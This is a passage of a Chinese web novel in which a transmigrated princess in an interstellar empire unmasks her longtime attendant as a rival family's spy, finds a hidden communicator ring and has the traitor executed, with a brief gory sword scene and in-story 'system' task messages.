柯茵自以为说了一个绝佳的笑话,但她看了看周围,算上屋内的全部人和藏品,似乎在没有人和她有一样的幽默感——真可惜。
从安泊尔到士兵,所有人都有些胆战心惊地看着军士长,为直谏的军士长捏一把汗。
“抱歉,让我们忘了床的笑话吧。”
“聊军务。”
11. 疯子和疯子们(10)
皇庭近侍安泊尔用手帕擦了擦额头的汗,递给军士长一个颜色。
皮肤黝黑的军士长挤了挤眼睛,恢复了理智,接着推进:
“您之前杀的家伙都没什么地位,皇女殿下,这次你杀的家伙背后是凯瑟尔家族。”
“现在说什么都晚了,您不应该杀凯瑟尔家的人……”
“首先,我有一个好消息。”
柯茵看着懊恼的军士长,顺便一把拽起一旁克劳狄的头发,逼着他抬起头。
奇怪的是克劳狄非常配合,堪称平静地看着军士长的眼睛,像是只好脾气的大狗。
看来他想通了?
柯茵没时间寻思他的事情,而是像是商家展示自己家的畅销单品一样用手掌托着克劳狄此刻平静得有些淡淡半死不活感的脸:
“你瞧,如假包换的克劳狄,崭新出厂……”
柯茵和满脸血的克劳狄对视一眼,然后挫败地改口。
“最起码是99新吧。”
“我没杀任何一个凯瑟尔家的人,哪怕是她们送来的陪嫁侍从。”
士官长有些不可思议地看向克劳狄:
“您不是说要把他做成……呃,算了,没杀就好,我们可以澄清误会了。”
“误会?”
柯茵善意地带着些疑惑地看向自己的士官长。
看来她是位职业军人。
换句话说,她把政治看得太简单了。
“士官长女士,当凯瑟尔家的舰队驶向我们的时候,我究竟杀没杀人重要吗?”
柯茵放开攥着克劳狄脑袋的手,对士官长解释着。
“凯瑟尔们不是法官。”
“她们想要的也不是正义。”
军士长在听了柯茵的话之后,哽咽了一下,柯茵看到她的紧张地抿着嘴,下意识摇头——那是否认地信号。
没有人比军人更不想要战争。
“我们应该第一时间召开会议——”
柯茵抬手阻止了军士长后续的话,反而安抚和致歉一般不紧不慢地抚摸起克劳狄的头发。她这才发现,克劳狄的黑发出人意料地细而软、微微卷曲,似乎天生如此,和长毛犬的毛一样柔顺,手感宜人。
“先把他找个地方锁好,然后拿一把椅子给我。”
“等等。”士兵长站了出来,面露难色。
“皇女殿下,您这是要做什么?按您刚刚说的,我们现在紧急的事情是处理……军务。”
“我们还不太清楚她们确切的舰队数量,但可以确定的是我们在海军方面不具备优势,一旦暗堡被清除且近地轨道失守,地面作战将不可避免……”
“这会是一场血战,皇女殿下。”
“如果接下来我有哪里说错,或者问得问题很古怪,请不要吝于指出我的错误,因为在炼狱星的防卫上,您才是专家,军士长。”
“我的第一个问题是,距离他们进入我们的攻击范围,所有武器的攻击范围要多久。”
柯茵推测既然整个星系内有那个什么负责扫描类似雷达的“椋鸟”,那他们或许有一些远程火力可以使用。
“您问得很关键,在星系外环,有很多小行星暗堡,它们会拖延舰队前进的时间。”
柯茵观察到军士长的目光中闪烁过一丝艰难。
她前一世见过很多这样的目光,通常意味着一位尚有良心的将领面对手下士兵死亡时的良心不安。
并非所有的指挥官都没有道德,即使是那些看起来更没有道德一点的也不总是能在冲锋后的晚上睡得安稳。
“没问题,我会努力解决这个问题的。”
“我会最大程度避免战争的开始,或是延缓它的开启时间。”
军士长身体再次僵硬住了,像是被牢房的空气冻住了。
“您说?您会解决那个问题?”
“抱歉,皇女殿下,我不是在冒犯您或者有意顶撞,但您要怎么解决。”
人们常说,将军们在战场上得不到的,外交官在谈判桌上更不可能得到。
柯茵会说,这种情况,是外交官的无能。
在目前的情况下,她应该尽一切努力在外交上保护她的军队,哪怕是以最功利的角度来讲,这也是在保存她自己的有生力量。
柯茵看向对她的将军,忍着自己身体的不适扯出一个笑容,有条不紊地接着说:
“一会儿您就知道了。”
“但现在,我要处决叛徒——处决叛徒们,希望您能配合我。”
“处决叛徒?”
士兵长有些不解,但她看到八皇女的身体有些不适。
“您的身体还好吗?您需要——”
“我没问题。”
柯茵打断军士长的嘘寒问暖。
她稳住军士长的功夫,士兵们就设法从不知道哪里变出两把陈旧的破椅子,一把像是行刑的电椅,用特制的镣铐死死锁住克劳狄。另一把则是高靠背的普通扶手椅,椅子看起来很久,士兵们简单擦过灰——在监狱的寒冷简陋的过道里,这两把椅子看起来简直像是皇庭高台的女皇和她丈夫的座位一般尊贵。
克劳狄在被绑上去之前看了柯茵一眼,低声嘲讽她的言行不一:
“你不是说我自由人了吗?”
“没错,自由人,但你还是我的犯人。”
柯茵笑了一下,示意他老实一会儿。
柯茵说完,不得不努力忍住自己从刚刚就愈发难以忽视的不适,浑身发冷、恶心,一见到椅子,柯茵就赶紧坐下休息。
“军情紧急,我马上解释,军士长,先把克劳狄的陪嫁侍从和安泊尔押进这间囚室。”
“什么?皇女殿下?”军士长出言制止。
柯茵的举动再次让监狱里的所有人都陷入短暂的错愕。
士兵们面面相觑,目光在皇女与军士长之间来回游移。但还是忠实于服从的本能,缓缓接近柯茵指名的那两人。
安泊尔下意识地后退半步,手帕握得死紧,指节泛白,满脸震惊。
而那个一直在为克劳狄哭泣的陪嫁侍从,早就僵在原地,现在更是吓得浑身颤抖,看向克劳狄,嘴里疯疯癫癫地念叨着“对不起,对不起……!”
“皇女殿下,”安泊尔试图保持优雅的语调,却掩饰不住声音里的干涩,“恕我直言,现在最重要的是按照军士长所说处理……”
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“你想说最主要的事情是处理轨道上的那些凯瑟尔家军舰?”
柯茵终于舒服了一点,她坐在椅子上,翘起腿,右手长臂一揽,揽住了被捆在自己身边的克劳狄的后背。
“……不着急。”
“处理完你们两个,舰队的事情就迎刃而解了。”
“皇女殿下……您在说什么?”
“请两位背对着我,把你们的上衣脱掉。”
“如果他们不愿意,就帮他们愿意。”
军士长听到柯茵的命令,不敢置信地转向她。
“安泊尔做了什么?殿下,无论她做了什么,您、您为何现在就要处置她?”
“她是您的幕僚、身边人——”
柯茵看了一眼军士长,后者就识相地闭上嘴,柯茵翘着腿,半倚在克劳狄精壮的身上,看着士兵们迟迟不敢动手而不耐烦的打着响指。
“动作快点…我们还有更重要的事情,好了,快把他们背上的衣服扒掉。”
“不!”陪嫁侍从尖叫一声,转身就想逃,却被士兵拦住,两个士兵架着她,士兵长不情不愿地解开了陪嫁侍从的纱衣背面。
在少年瘦弱的背部左上,有一个和克劳狄一样的奴隶烙印。
“喏,凯瑟尔家的奴隶烙印。”
“那又如何,皇女殿下,他和您看上的这个男宠一样,都是凯瑟尔家的奴隶。”
军士长很显然误会了柯茵留下克劳狄的意思,不过柯茵并不在意。
“如果我没记错的话,”柯茵左手点了点自己的太阳穴,右手则揽着克劳狄的后背,在他皮肤上的曾经是奴隶烙印,现在是止血贴的地方上画圈,“你方才劝我杀掉克劳狄,‘给他一个痛快’。”
“真是古怪的请求,通常人们会请求,‘留我家主人一命’或者‘放他走’。”
“皇、皇女殿下,我只是怕克劳狄受身体上的折磨……”
男孩的声音颤抖,瘦弱的身体微微颤抖着。
“多么善良!”
柯茵哂笑,摆摆手,她没再理会这个侍从,反而提高了音量催促进度。
“好了,下一个。”
士兵长听罢,自知无法违抗命令,垂头丧气地走到安泊尔身边。灰发的皇庭近侍则和刚才说话时一样敛着自己的恐惧和颤抖,强撑着最后的体面。
“皇女殿下,您到底是什么意思?”
“难道只是因为我忤逆您?让您杀掉您身边这个可能酿成大祸的肮脏奴隶吗?”
“您竟然为了一个男人昏聩至此?竟然完全不顾我们十余年的主仆之情吗?”
“这,这太荒唐了!”
“动手。”
柯茵不耐烦地下了最后通牒。
和她有十余年主仆之情的是原主。
而且,柯茵马上就要证明原主那十余年的依恋完全是所托非人。
士兵长长叹一声,几乎是闭着眼用剑挑开了皇庭近侍安泊尔背上的衣服。
伴随着柔软的织物落地,在场的所有人都再次发出惊讶的吸气声。士兵长松开剑柄不敢置信地睁大了眼睛。
安泊尔的背上,赫然也有着一个凯瑟尔家的奴隶印记。
12. 疯子和疯子们(11)
监狱里的空气仿佛凝固了。士兵们紧张地交换着眼神,有人下意识地握紧了手中的武器,有人则不自觉地挺直了脊背。他们看向八皇女的目光里满是难以置信——往常那个有些醉醺醺、神志不清的女人,今天却像换了个人似的,一眼就看穿了潜伏多年的内鬼。
军士长的反应尤为强烈。她的目光在安泊尔身上停留许久,仿佛要在这张熟悉的面孔上找出她背叛的蛛丝马迹。作为军人,她习惯了战场的残酷,却从未想过最致命的背叛会来自一个朝夕相处的同僚。
想到过去十几年间和安泊尔的每一次会面、每一次商议,军士长不自觉一次恶寒,她的拳头不自觉地攥紧了。那些回忆里的片段变得格外渗人——议事厅里的长谈,关于部署的讨论,那些看似平常的嘘寒问暖——现在想来,都是眼前这个看似忠厚的女人在替凯瑟尔家收集情报?
军士长感到一阵眩晕。
在巨大的窒息感面前,她已经不记得自己和安泊尔说过什么了,她只知道,她曾经说过的每句话都会变成刺向她手下士兵的尖刀……
信任的崩塌,让这间阴冷的监狱突然变得更加令人窒息。
柯茵没太顾忌这些人的不适应,她抬眼,拍拍有些恍神的士官长的手,示意她靠近后,对士官长耳语吩咐:
“我来审讯她,先让你的人先回行宫搜查她的房间,看看有没有任何对战况有帮助的情况……越快越好。”
既然安泊尔是凯瑟尔家族的线人,那么她除了向外通风报信之外,或许会留有一些凯瑟尔家的信息。
一般来说,一个皇女身边线人不会蠢到留下线索。
但事情坏就坏在原主还真不是一般人……
这样一个铁反贼站在身边十余年她居然无动于衷,这已经不是超绝钝感力可以形容的了,安泊尔一定拿捏住了原主的某些特点。
安泊尔知道自己对于原主来说,有着近似母亲般的地位。
这个牢不可破的认知会是柯茵拿来对付她的最重要的武器。
现在,她必须收敛锋芒了。
军士长了然柯茵的意思,按着自己左肩上的一个金属通讯器,小声安排人搜查起安泊尔的房间。
柯茵换了个姿势,俯下身,隔着监牢的铁栏杆看向安泊尔,尽量使得自己看起难过一些。
“安泊尔,你怎么会做出这样的事情,你太糊涂了。”
“皇女殿下。”
安泊尔面色惨白,想要解释。
“您冤枉我了……我以前的确是安泊尔家的奴隶,但现在我对您忠心不二。”
“嘘——”
柯茵把食指压在双唇上,示意安泊尔噤声。
“那你为什么要劝我杀掉凯瑟尔家的诱饵”
“如果我没记错,你劝我杀掉这个诱饵,劝了4次。”
柯茵举起4的手势,这是她怀疑安泊尔的疑点。
作为皇庭近侍,柯茵就是安泊尔这一生能做的最大的政治投资。如果真的站在皇女的角度上考虑,她又怎么会希望自己的皇女惹上麻烦。
“正如你所说,我身为皇女,一举一动都被各种各样的人看着,杀害凯瑟尔家族送来和亲的男性,难道不太过激进了吗?
安泊尔一次又一次地劝告更像是生硬地思想植入,生怕柯茵放过那个人。
而杀了他,只对凯瑟尔家有利。
“可是、可是克劳狄只是个奴隶,皇女殿下!正如您所见,您杀过很多人,这不是我们可以劝阻的事情……您不能这么冤枉我!”
“我怕冤枉你,所以检查了一下你的身份牌。”
“结果就在你自己的背上,不是吗?”
柯茵平和地说着,但她看到安泊尔听到她的回答,目光忽然闪烁起来,然后浑身发抖。
“我、我什么也不知道!我无法解释给您停!”
安泊尔说着,想到什么一样有些胆怯地回避着她的目光,似乎柯茵想要从她口中知道凯瑟尔家族的事情这个意图让她非常恐惧。
下一秒,柯茵看到安泊尔的下颌动了动。
柯茵大呼不妙,要不是身体太无力,她就差从椅子上站起来了:
“她在吞药!”
安泊尔果不其然是凯瑟尔家训练有素的线人,她甚至还准备咬破嘴里的毒药自尽!
幸好经过柯茵的提示,她被反应敏捷的士兵掰开了嘴,这才没让柯茵把钓到的大鱼丢了,但她也忍不住去想凯瑟尔家族要挟她了什么,能让她比起自己死,更害怕身份暴露。
柯茵转了转手指,示意要她看着自己说话,安泊尔被士兵掰着下巴转了过来,但她不知道是因为恐惧还是羞耻,不愿看着柯茵的眼睛。
就在这个时候,军士长轻拍柯茵的双肩,小声禀报:
“殿下,她的房间里只搜出了手绘星图,可能是根据她之前……”
军士长说完,哽住了。柯茵看了自己的军士长一眼,发现她的脸上是一种复杂的、难以解读的神情。
但军士长还是低声只和柯茵报告着细节。
“根据她之前从您那里听来的口述信息绘制的——上面详细地记录我们在星系内的布防格局。”
“凯瑟尔家族知道我们全部的小行星暗堡。说实话,有些小行星暗堡的位置连我都不清楚。”
“一旦信息暴露,原本防御用的暗堡就会变成活靶子,敌人将会轻而易举地清除这些小行星背后的堡垒……”
“凯瑟尔的舰队也将长驱直入,在抵达近地轨道之前,她们将不会受到任何有生力量的阻拦。”
柯茵听完她报告,心陡然提了起来,但她仍然保持着神态上的平静。
她看向军士长,这才明白,原来那种她无法解读出来的神情是难以名状的痛苦—
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—那是一个忠诚的军人看到自己效忠的主君背叛了她们的信任时,才会流露出的复杂神色。她的表情里既有愤怒,又带着一丝不敢相信的茫然,更多的是对即将到来的战争的绝望。
而这种会让战局完全颠覆的信息,居然是自己这个身体的原主人泄露出去的。
柯茵的头忽然很晕,原主的记忆浮现心头。
那些地图居然是她在酒后主动让安泊尔拿走的,是当废纸一样送给她的。
真该死……
迄今为止,原主的行为已经触碰了她的底线,对她三分钟就挑出来的暗线毫无察觉十几年不说,居然还口无遮拦地把这么重要的信息透露给了线人。
虽然柯茵并不太清楚小行星暗堡这个单位在星际战争中的作用,但她既不是聋子也不是瞎子,听军士长的意思,这些堡垒应该本就是只能在敌明我暗时起作用,故称暗堡。
而一旦这些暗堡的位置被泄露了出去,那么堡垒本身,以及在其中驻守堡垒的士兵就会成为凯瑟尔家舰队的活靶子。
柯茵看着那张标注小行星暗堡的星图,每个堡垒的息影后面上还标注着“300”、“270”这样的的数据。
而每个冷冰冰的数字背后跟着的是“人”这个量词。
每个暗堡内都有几百名效忠于原主的士兵驻守,而原主所泄露的这些信息现在已经成为套在驻防士兵们脖子上的绞索,只待凯瑟尔家的舰队进入星域内,死亡就会无声降临!
炮火声和厮杀声似乎在柯茵的耳畔响起,震耳欲聋。但下一秒,柯茵还是强迫自己冷静下来,恢复理智。
系千钧于一发,现在能阻止这一切发生的只有两个人。
她和安泊尔。
于是柯茵用只有她和军士长能听到的声音问:
“她是通过什么和凯瑟尔们联系的……”
柯茵说着,目光看向军士长的通讯器,后者了然,回答。
“我们没搜到她的通讯器,那一定是更隐秘更小的东西……”
柯茵打了一个闷闷地响指。
看来这场审讯远没到结束的时候。
柯茵忍住身体因为眩晕和恶心带来的不适,缓缓站起来,期间差点一个趔趄摔倒在地,但她一个眼色止住了要搀扶她的军士长,自己站直身体,走到牢房的铁栏前,居高临下地问:
“你为什么要想不开,安泊尔,我们一定要闹到这个份儿上吗?”
安泊尔似乎没有预料到她的话,骤然看向她的眼睛,缓缓摇头,似乎是在说“我辜负了您的信任”。
“你跟我多久了,安泊尔。”
“皇女殿下,我跟在您身边已经十六年。”
“十六年……”柯茵一改先前的严厉,换上一副怜悯的姿态,她攥着女人因为恐惧而抖个不停的双肩,深情地说:
“这十六年来,你辛苦了。”
13. 疯子和疯子们(12)
“这十六年来,你辛苦了。”
听到这句话军士长有些困惑地看着皇女殿下,她方才还在冷静地寻找线索,为什么这个时候反而开始跟安泊尔谈上君臣情谊了呢?
这转变来得太突然了?!
但当军士长注意到自己肩头的通讯器时,一个念头闪过脑海——皇女是想要引诱安泊尔在最后关头暴露更多信息!
这是她的审讯手段。
军士长悄悄调整了一下站姿,清了清嗓子,接下来会有一场精彩的双簧好戏,她会配合皇女殿下上演。
柯茵走到安泊尔身边,蹲下,轻抚她的双肩,仿佛真的怜悯她的所作所为,并忏悔自己的行为一般说到:
“跟在我这样的人身边十六年,你一定过得很苦吧,我喜怒无常、随心所欲……一点也没有皇族继承人的样子。”
柯茵说着,想尽了此生所有难过的事情,终于让眼角温热起来。
安泊尔咬着下唇,看着皇女殿下几乎要落泪的表情,内心慢慢融化。似乎是想起来她们君臣相伴的这十六年,最终,年长的灰发女人轻轻摇头,同样眼角湿润。
伴随否认的摇头,安泊尔的脸上两行泪水流淌下来。
“不,我不怪您,殿下,都是星辰不眷顾您。”
“世人都说您残忍而愚蠢,但我知道,那不是您。为了和其他的姐妹一样,您从小就开始用药,药剂伤害了您的脑子,这都不是您的错。我从您还小的时候就是您的侍从了,我了解您的性格,您曾经很善良……连一只小鸟都不愿意杀死。”
柯茵看着安泊尔,她被岁月侵蚀的面孔忽然模糊起来,伴随原主的强烈情感涌现,她脸上的细细的皱纹被回忆抚平。
柯茵看到一个阳光明媚的下午,年幼的八皇女站在皇庭花园的草地上,手心里捧着一只翠绿的小鸟。
鸟儿的羽毛在阳光下泛着祖母绿宝石般的光泽。
伴随着回忆里的原主抬起头,柯茵看到皇庭花园的银色穹顶——那里本应是天空的地方被连绵不绝的冰冷金属造物所覆盖。
她看向缓缓蹲在自己身边的安泊尔,了无生气地问着:
“安泊尔,书里说,‘鸟儿是在湛蓝的天空中飞翔’,可为什么我们的天空是银色的?”
年轻的安泊尔蹲在原主身边,柔声教导着:“殿下,银色的是护卫穹顶,它的存在能保护您和其它的星辰力量使用者。”
“保护您们免于发疯。”
原主骤然抬头,看向头顶的银色苍穹。
穹顶背后有什么?
柯茵感受到年幼的八皇女第一次听到这种解释时内心的困惑和震颤。
但安泊尔年轻柔软的手很快拢住了原主的手。柯茵感觉到温热伴随着回忆传导在自己的手背上。
对于原主来说,那是母亲一般的手。
温暖、安全。
“殿下,别怕,张开手指,我们让小鸟飞走吧。”
“为什么要让小鸟飞走?”
柯茵听到记忆中的八皇女淡淡地询问。
“殿下有母亲,小鸟也有小鸟的母亲呀,没准小鸟的母亲正等着它回家呢。”
这个未来会成长为嗜血暴君的女孩犹豫了一下,随后,她像是普通孩子一样一根根地松开手指。略带好奇地看到小鸟在她掌心蹦跳两下,抖了抖头顶的翎羽,接着振翅飞向湛蓝的天空。
安泊尔拉着她的手,两人一起仰头望着那抹远去的翠绿,直到它消失在银灰色的铁幕之中。
从回忆中返回现实,柯茵感到原主狂暴而虚弱的身体逐渐崩溃。
她似乎意识到了自己正在审判跟随自己十余年的老臣。
柯茵用手掐住自己的喉咙试图保持理智,试图克制自己身体里那股愚蠢的仁慈。
她看向安泊尔,狠狠地咬着牙,继续问话。
“安泊尔,告诉我,你为什么要做这种事情?”
“我没办法,殿下,我没办法。”
“十六年前,我还是凯瑟尔家的奴隶——我,我的丈夫还有我们的孩子。他们本应是也将永远是凯瑟尔家的奴隶,但自从我成为您的身边人,我的家人们便以封臣的身份在永夏星上拥有了一小片土地、庄园。”
安泊尔说着,嘴边有一丝自嘲般的笑意,她的眼泪也逐渐冰冷下来。
“伊芙凯瑟尔告诉我,如果您死了,我就能和他们团聚。”
“她们给我开出了,我无法拒绝的价码。”
权力苦涩杏仁味道取代了囚室中的冰冷空气,柯茵狠狠地吸了一大口,她擦去眼角的泪水说:
“我们难免做许多这样那样的错事,我真的很想原谅你,安泊尔。”
“但背叛这样的错误,我们一人一生只能犯一次。”
听完柯茵的话,安泊尔的眼睛里失去了光彩,她明白,柯茵这场苦情戏绝不是要对她网开一面。
不管这具身体里的灵魂发生了什么变化,但眼前这个人她绝对不是她认识的那个八皇女。
“军士长,我们的律法是怎么处理叛徒的。”
“回殿下,第三行省的律法中规定,叛徒应该斩首并砍下食指。”
“就这么办。”
柯茵留恋地看着安泊尔,看到她的肩头停落了一只翠绿色的小鸟。
柯茵想到那个记忆,轻轻笑了一下,她说:
“你还记得那只鸟的颜色吗?安泊尔。”
安泊尔也破涕为笑了,她回答:
“当然,殿下,是蓝色的。”
柯茵笑了,这就是原主所惦念的君臣之情。
“够了!殿下!您在做什么?!”
就在此时,军士长忽然打断了她们的对话,她有些愤怒地看向柯茵。但旋即又眨了一下眼,似乎是给柯茵使了个眼色。
柯茵有些疑惑又有些期待地看向军士长。
她要干嘛?和自己演红白脸吗?
果不其然,军士长忽然换上一副怨恨的面孔,开始埋怨指责她:
“皇女殿下,是时候结束了,这个人是叛徒,您这个时候您还要念旧情吗?”
“要我说,作战会议更加重要,难道士兵们的性命还没有她一个叛徒重要吗?”
“我和安泊尔只有几句话了,让我说完。”
“可是,殿下!让我现在就杀了她!”
军士长快步向前,被柯茵一把揽在身后。
“够了,最后让我再说句话。”
柯茵看似拦住军士长,其实目光通过眼角偷瞥着安泊尔的神情,她虽然低着头,但也在用余光注视着军士长和她的对话,就像是十几年来她所做的那样,降低存在感,然后竖起耳朵。
注视了安泊尔良久,柯茵轻叹一口气,准备为这场戏画上句号。
“
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安泊尔,你也看到了,你不得不死,但在你临死之前,看在我们君臣一场的份上。”
“我可以实现你最后一个愿望。”
听到她的话,安泊尔的眼睛都亮了,要不是士兵们架着她,她几乎想要手脚并用地爬到柯茵身边,感谢她的仁慈:
“等、等等……真的吗,殿下,您真是太仁慈了。我、我诚挚地忏悔我的错误,我只有一个愿望,殿下,希望您能答应我。”
“你说。”
“请您把我食指上的戒指亲手带还给我的丈夫,跟他说不用等我了,好好养大我们的孩子。”
“就看在我们……十六年主仆关系的份上。”
柯茵点头,出人意料地冷笑出声,轻蔑地用舌尖顶了顶腮。这个举动让安泊尔吓得把刚脱手的戒指掉在了地上。
柯茵眼疾手快地在安泊尔伸手之前捡起那枚戒指,顺势蹲下,温和地对安泊尔说:
“你放心,我答应你。”
“毕竟,这个是你最后的念想了。”
安泊尔的脸上惊出了冷汗,她佯装着冷静说到:
“感谢您……殿下,我就知道,您依然是曾经那个……会放飞小鸟的善良的八皇女。”
伴随着叛徒最后的谎言,她肩头那只翠绿色的小鸟摇了摇头,振翅飞走。
柯茵情像是被气笑了,她扭身传球似的地把戒指扔给军士长,告诉她:
“检查这个戒指。”
柯茵说完,回头看到安泊尔露出不像是人类能显露出的神情——她的整个脸庞都扭曲了!
恐惧、愤怒、疑惑都挤在一张脸上。
“不、殿下,请不要——”
接住柯茵扔来戒指的军士长露出了然一笑,她把戒指举起来,在光线下转了一圈,检查戒指的内部,果不其然发现里面有一圈隐秘的走线。
“皇女殿下,您猜想的没错。”
“这就是她用来通风报信的通讯器。”
柯茵听到军士长的话,如释重负。她平淡地询问着安泊尔,像是和她聊明晚的餐点:
“安泊尔,我问你,我看起来像是傻子吗?”
“不,殿下,您、您怎么会这么说?!”
“戒指、戒指的事情都是误会。”
“如果您不信的话,可以取我的血!”
“你不会以为你两滴眼泪,一个故事就能骗过我吧……”
柯茵像是咬碎了牙一样笑道:
“你已经骗了我十六年,不差这最后一次对吧。”
“你想着:‘虽然我死了,但能拉那个蠢货陪葬也值了’。”
“你打算最后一搏,用性命换你家人的高官厚禄——只要我带着你的那枚戒指,去参加作战会议。”
柯茵一改方才的含情脉脉,她说着摸向自己腰间的匕首。
似乎是感受到了彻骨的背叛,在手指触碰到银色冰冷的匕首的瞬间,柯茵感觉那具属于原主的身体沸腾起来!
她之前的恶寒和头晕短暂地恢复了,肌肉微微震颤起来给血液加热,像是开足马力的大机械。
“我到底哪里看起来像是个蠢货,安泊尔,嗯?”
但柯茵还没说完,她就感觉脑海中传来一个从未听过的嘶哑女声,那副喉咙像是长期被泡在酒里一样喑哑。
那声音说……
“该死,让出我的身体!!!”
14. 疯子和疯子们(13)
在柯茵的脑海中,一个愤怒而低沉的女声嘶吼着,那声音仿佛是从颅内某处发出来的,让柯茵觉得新奇而可怕:
“让出我的身体!”
那声音说着。
柯茵确定那声音就在她脑子里,但她试着投射过自己的所有人格,但这个声音她绝对没有听过。
综合她说“让出自己的身体”以及这个声音是在柯茵感觉到愤怒的情况下才出现的。
柯茵有一个大胆的猜测。
这个声音并不属于她的诸多人格,而是属于原主。
……
这下刺激了。
她还以为原主死透了呢。
似乎为了印证柯茵的话,她的四肢末梢过电一般酥麻,似乎是原主正在跟她争夺躯体。
而柯茵能感到在这场对决中并不占上风!
“胆小鬼,你不懂如何使用星辰之力,我再说一遍,让出我的身体……!”
柯茵头脑中的声音喑哑,但是气势完全不输。
更重要的是,她感受到了原主的愤怒。
似乎是因为那个叛徒的事,原主极端愤怒起来。
愤怒就着冲顶的热血,逐渐具象化,柯茵全身的金属衣物装饰全都像是河豚一样膨胀起来,变成赤红色——!
星辰之力。
她之前见到过有着这种力量的女性是如何把克劳狄的脑袋按在地上按出一个大坑。
现在,她也看打了原主是如何使用这种东西的。她说得没错,那是只有她才懂得如何使用的力量。
但柯茵并不认为自己有义务把身体归还给她。
“那可不行,酒鬼皇女,你的身体已经是我的了。”
她在脑海中说罢,拔出自己腰间的匕首,在自己的手心狠狠抹了一把!
她自己的血沾在匕首上,竟然发出了淬火般的呲呲声响,匕首短暂地燃气一道烈焰!
柯茵狡黠地舔了舔上唇,激怒着自己脑海中的另一个神识。
“如果你这么喜欢自己的身体,为什么不少喝两口?哈?”
“你才是那个逃跑的人。”
“不!你在对我的身体干什么!?!”
柯茵听到原主愤怒地嘶吼,知道自己的威胁产生了效果,又在自己的左手背划了一刀!
这次,匕首再次短暂燃烧了一下,柯茵感觉到匕首的分量都沉了几分。
“你才是那个逃避阴谋,逃避谎言,逃避冲突的人,你想在我给你收拾完烂摊子之后抢走你的身体?”
“你做梦。”
“没错,这个身体曾经是你的,但她现在是我的。”
“你想拿走?”
“好啊,拿走你的尸体!”
暴怒的战争女神对奸奇神选的疯狂无计可施,她发出愤怒地尖叫,随后,那种无端的愤怒被她自己压抑住了。
“停下!!”
“求你,让出我的身体,我只想亲手杀了那个叛徒!”
“让我亲手杀了那个骗了我十六年的家伙,求你,让我杀了她!”
“代价呢?”
“皇女殿下,凡事皆有代价。”
“代价是我会从这具身体里消失,你满意了吗?”
“哈……这个提议对我没什么好处,不过……”
“成交,我喜欢看——”
柯茵话音未落,就感觉自己的意识被推搡到了大脑的边缘。
在无穷无尽的黑暗中,只有一张巨幅的荧幕播放着原主接管身体后她的所见所闻,没有任何的实感,柯茵像是四肢都被绑在电影院椅子上的观众一样,只能注视自己眼前发生的一切。
这感觉真差劲!
柯茵一下子理解了自己优先翼和劣后翼上两个人格的不适。
画面在她的眼前乱晃,就像是醉汉拿着的手持摄影机一样。
柯茵忍住想要呕吐的眩晕,尽量冷静地观察着一切:
原主一接管身体,便攥紧了被柯茵划得满是伤痕的左手,她全然不顾疼痛,像攥一只莓果一样把所有的血都拧在匕首上。
在鲜血和盛怒的饲喂下,那柄叫熔血剑的匕首,居然燃起熊熊烈火,而在那血饲的赤焰中,短小新月般的匕首被淬炼为
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一柄单手长剑!
那长剑剑刃颇宽,正中形似巨兽的脊骨,但仍然是银白色的。但在形似动物脊椎的钢铁骨板引导下,长剑边缘迸发出密集赤红的等离子体,像是从脊椎缝隙喷发出的条状火焰。
火组成了这把剑的剑刃。
火刃像是炼钢高炉中的热液,又如火山暴发前酝酿中的岩浆,颜色介于橙色和血红之间,虽然迸发着愤怒,但精准地克制着自己的边缘。
除此之外,柯茵看到自己的周身也散发出先前在士兵身上见过的淡淡三色衍射光芒,紧接着,熔血剑也发出比先前更加强烈的炽烈光热!
柯茵还没想完,就感觉原主的愤怒带来的短时间力量增强让这具本就疲惫不堪的身体更加痛苦。
原主用血饲喂完长剑,强撑着,甩开自己手中长剑,举起标准的处决剑姿。
她的动作干脆而简洁,大巧不工,柯茵看在她的动作想到,哪怕是在末世,八皇女殿下应该也能和那个末世版的自己过上几招。
同样被八皇女的剑和动作震住的还有安泊尔,她尖叫着求饶,又被架住她的士兵拖回原地。
“殿下,不、不是,我真的是想——”
柯茵听到八皇女也就是自己冷笑一声,一字一顿地说到:
“那只鸟,是绿色的。”
“是的、是的殿下,是我记错了,那只鸟是绿——”
安泊尔还没说完,八皇女便高抬双手,一剑削在了安泊尔的身上!
那一剑下去,起先没什么反应。
只是从安泊尔的左肩到右肋骨,产生了一道旁人极难发觉的细小缝隙。
然后,血滴细密地从那道缝隙里挤出来。
最后,安泊尔的上半身整个滑了下去,啪叽一声砸在凯瑟尔家陪嫁侍者的身边。
鲜血喷涌。
年轻的陪嫁侍者洁白的纱衣被染成粉红色,他在身旁“喷泉”的沐浴中,尖哑嗓子失声尖叫起来——
『恭喜宿主完成部分任务!』
『处决人数:1人』
『任务目标:处决全部叛徒!』
15. 疯子和疯子们(14)
『恭喜宿主完成部分任务!』
『处决人数:1人』
『任务目标:处决全部叛徒!』
伴随着安泊尔的死,系统兴奋中略带迫不及待地说到。
“你满意了?”
柯茵在脑海中询问着,像是询问原主的神识,也像是在询问系统,但无论是它们中的那一个都没有回答。
尖叫声把柯茵拖回到身体的主座。
在经历了一次意识的推搡感之后,柯茵又感觉自己被什么东西重新拽回了舞台的前台,那力道之大速度之快让她像是坐在辆一脚刹车踩死的车后座上似的,瞬间头晕恶心起来。
“呕——”
柯茵重回到这具身体后,立刻抑制不住地干呕起来。
先前她眼见着八皇女所使用的那种奇特力量骤然从她的身体里被抽走了,似乎和原主的意识一起消散了。
而熔血剑退火。默默退缩成一柄无喜无悲的普通银色匕首,像一轮平静的月亮。
柯茵回想起克劳狄对她说的话“你扇我的那巴掌不会用尽了全部的力量吧?”,那个时候他便是意指自己的力量消散,导致没办法使用熔血剑。
“殿下,您的身体短时间内不能再次使用星辰力量了,不然有生命危险!”
看到柯茵的状况急转直下,军士长走到她身边把他搀扶起来。
“我去派人把力量药剂拿来。”
药剂……
原来原主的力量是靠着药剂吊着的,柯茵这下终于知道自己为什么感觉到身体不适,又为什么会被原主险些夺舍。
柯茵抬手阻止了想要扶起自己的军士长,捡起地上的匕首,自己晃晃悠悠地站起来,保持着最后的体面坐回椅子上,像是暮年的国王强撑着回到王座,恢复到严肃的状态。
她啐掉没擦干净的血水,摇了摇头,简短地命令道:
“把那个叛徒也杀了吧。”
柯茵说完,坐在监狱走廊的椅子上,大口大口的吞了几口空气,让自己糟糕的身体尽快恢复过来,等柯茵感觉自己额头上的冷汗消散,呼吸也逐渐正常,她对军士长伸出手。
军士长低头瞥见柯茵的手掌摊开,瞬间明白皇女殿下是想要那枚戒指。
“戒指仍然处于激活状态,殿下,我们的机械牧师不太了解凯瑟尔家通讯器的机巧,他们说关闭它可能要花点时间,让我们直接销毁。”
